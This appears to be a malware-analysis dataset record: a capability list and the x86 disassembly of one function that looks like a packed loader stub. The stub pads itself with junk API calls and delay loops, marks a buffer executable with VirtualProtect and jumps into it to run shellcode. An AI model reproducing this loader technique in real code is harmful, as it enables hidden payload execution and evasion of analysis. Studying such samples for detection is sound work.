Function at 0x42b148
Capabilities:
Allocate or change rwx memory
Copy file
Create mailslot
Create pipe
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get hostname
Manipulate console buffer
Move file
Read .ini file
Set current directory
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x356c
call fcn.00419190
push ebx
push esi
xor ebx, ebx
cmp dword [0x468a2c], 3
push edi
jne 0x42b212
push ebx
push ebx
push ebx
call fcn.0040be50
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
call fcn.0040c3e0
push ebx
call fcn.0040c9c0
add esp, 0x14
push ebx
call fcn.0040ca10
pop ecx
push ebx
call fcn.0040d250
pop ecx
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call fcn.0040a09c
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040a15b
push ebx
push 1
lea esi, [ebp - 0x4c]
call fcn.0040a3a1
mov ecx, esi
call fcn.00409e70
push ebx
call fcn.0040c9a0
pop ecx
push ebx
push ebx
call fcn.0040d220
push ebx
push ebx
call fcn.0040c280
push ebx
push ebx
call fcn.0040d220
push ebx
call fcn.0040c2b0
add esp, 0x1c
push ebx
call fcn.0040ccb0
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040b720
add esp, 0x14
push ebx
push ebx
push ebx
call fcn.0040c410
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
call fcn.0040a103
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], ebx
cmp dword [0x468a2c], 0x47
jne 0x42b33f
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
lea eax, [ebp - 0x14]
push eax
push 0x4087ec
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0x408810
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
lea eax, [ebp - 0xd6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
xor eax, eax
mov dword [ebp - 0x28], ebx
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x408834
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push ebx
push ebx
lea eax, [ebp - 0x56c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [ebp - 4], 0x25a5
je 0x42b35a
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x53f9276
jl 0x42b21b
jmp 0x42b364
mov eax, dword [0x433618]
mov dword [0x468a2c], eax
xor edi, edi
cmp dword [0x468a2c], 0x6b
jne 0x42b376
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
cmp edi, 0x3f4fc
mov dword [0x468a24], ebx
jle 0x42b3a8
cmp dword [ebp - 0xc], 0xdfe55e
je 0x42b3a8
cmp dword [ebp - 0xb4], 0xdf5a80
je 0x42b3a8
cmp dword [0x468a2c], 0x28
jne 0x42b3a8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
inc edi
cmp edi, 0x180c1019
jl 0x42b366
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x409
jne 0x42b3c2
call fcn.0042ab28
cmp dword [0x468a2c], 0x78
jne 0x42b55f
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push ebx
push 0x4088a8
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push 0x408924
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x408948
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push ebx
push ebx
push ebx
push ebx
push 0x40887c
push 0x408988
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
lea eax, [ebp - 0x98]
push eax
push 0x4089ac
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
lea eax, [ebp - 0x1d6c]
push eax
push ebx
push 0x4089b8
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push ebx
push ebx
push ebx
push 0x4089d0
push 0x408a08
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push ebx
push ebx
push ebx
push 0x408a18
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileStringA]
push ebx
lea eax, [ebp - 0x56c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push ebx
call esi
push ebx
lea eax, [ebp - 0x116c]
push eax
push ebx
call sub.KERNEL32.dll_VerLanguageNameA
push ebx
lea eax, [ebp - 0x96c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x40bb92
jl 0x42b3b4
call fcn.0042ab14
xor eax, eax
cmp eax, 0x1550
jne 0x42b589
mov ecx, dword [0x4330d8]
mov dword [0x481a34], ecx
inc eax
cmp eax, 0x56a453
jl 0x42b576
mov edi, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov dword [ebp - 8], 0x7015e7
cmp dword [0x468a2c], 0x23
jne 0x42b6db
push ebx
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
push ebx
push ebx
push ebx
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push ebx
push 0x408a38
push 0x408a78
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x438]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0xfbc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push ebx
lea eax, [ebp - 0x1d6c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push ebx
push ebx
lea eax, [ebp - 0x96c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x256c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x408ab4
push ebx
lea eax, [ebp - 0x2d6c]
push eax
push 0x408ae0
push 0x408b00
push 0x408b40
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
dec dword [ebp - 8]
jne 0x42b59e
xor esi, esi
cmp dword [0x468a2c], ebx
jbe 0x42b739
cmp dword [0x468a2c], 0x932
jne 0x42b72a
lea eax, [ebp - 0x96c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
lea eax, [ebp - 0x48]
push eax
push 0x408b7c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push esi
call fcn.0042ab33
inc esi
cmp esi, dword [0x468a2c]
jb 0x42b6ee
xor esi, esi
cmp dword [0x468a2c], 0x15a
jne 0x42b75d
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push ebx
push dword [ebp - 0xc]
push dword [ebp - 0xc]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
cmp esi, 0x75ec5
jne 0x42b775
push 0x408b84
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x468a28], eax
inc esi
cmp esi, 0x1756bb
jl 0x42b73b
mov byte [0x4438b8], 0x56
mov byte [0x4438ba], 0x72
mov byte [0x4438bb], 0x74
xor esi, esi
cmp esi, 0x1c
jne 0x42b7b2
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [0x468a2c]
push dword [0x44ef08]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, 0x3d9da7
jl 0x42b795
call fcn.0042aea6
cmp dword [0x468a2c], 0x1d
jne 0x42b9b6
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x96c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
lea eax, [ebp - 0x2d6c]
push eax
push 0x408ba0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0x408c88
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push ebx
call esi
push ebx
lea eax, [ebp - 0x256c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll__lwrite]
push ebx
push ebx
lea eax, [ebp - 0x1d6c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edi, dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_HeapLock]
push 0x408cc8
lea eax, [ebp - 0x356c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebx
lea eax, [ebp - 0x56c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0x408ce4
lea eax, [ebp - 0x116c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x30
lea eax, [ebp - 0x88]
push ebx
push eax
mov dword [ebp - 0x8c], ebx
call fcn.00410b10
add esp, 0xc
push ebx
lea eax, [ebp - 0x8c]
push eax
push 0x408d10
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
push dword [ebp - 8]
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 4]
push eax
push ebx
push 0x408d24
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
call dword [0x44ef08]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10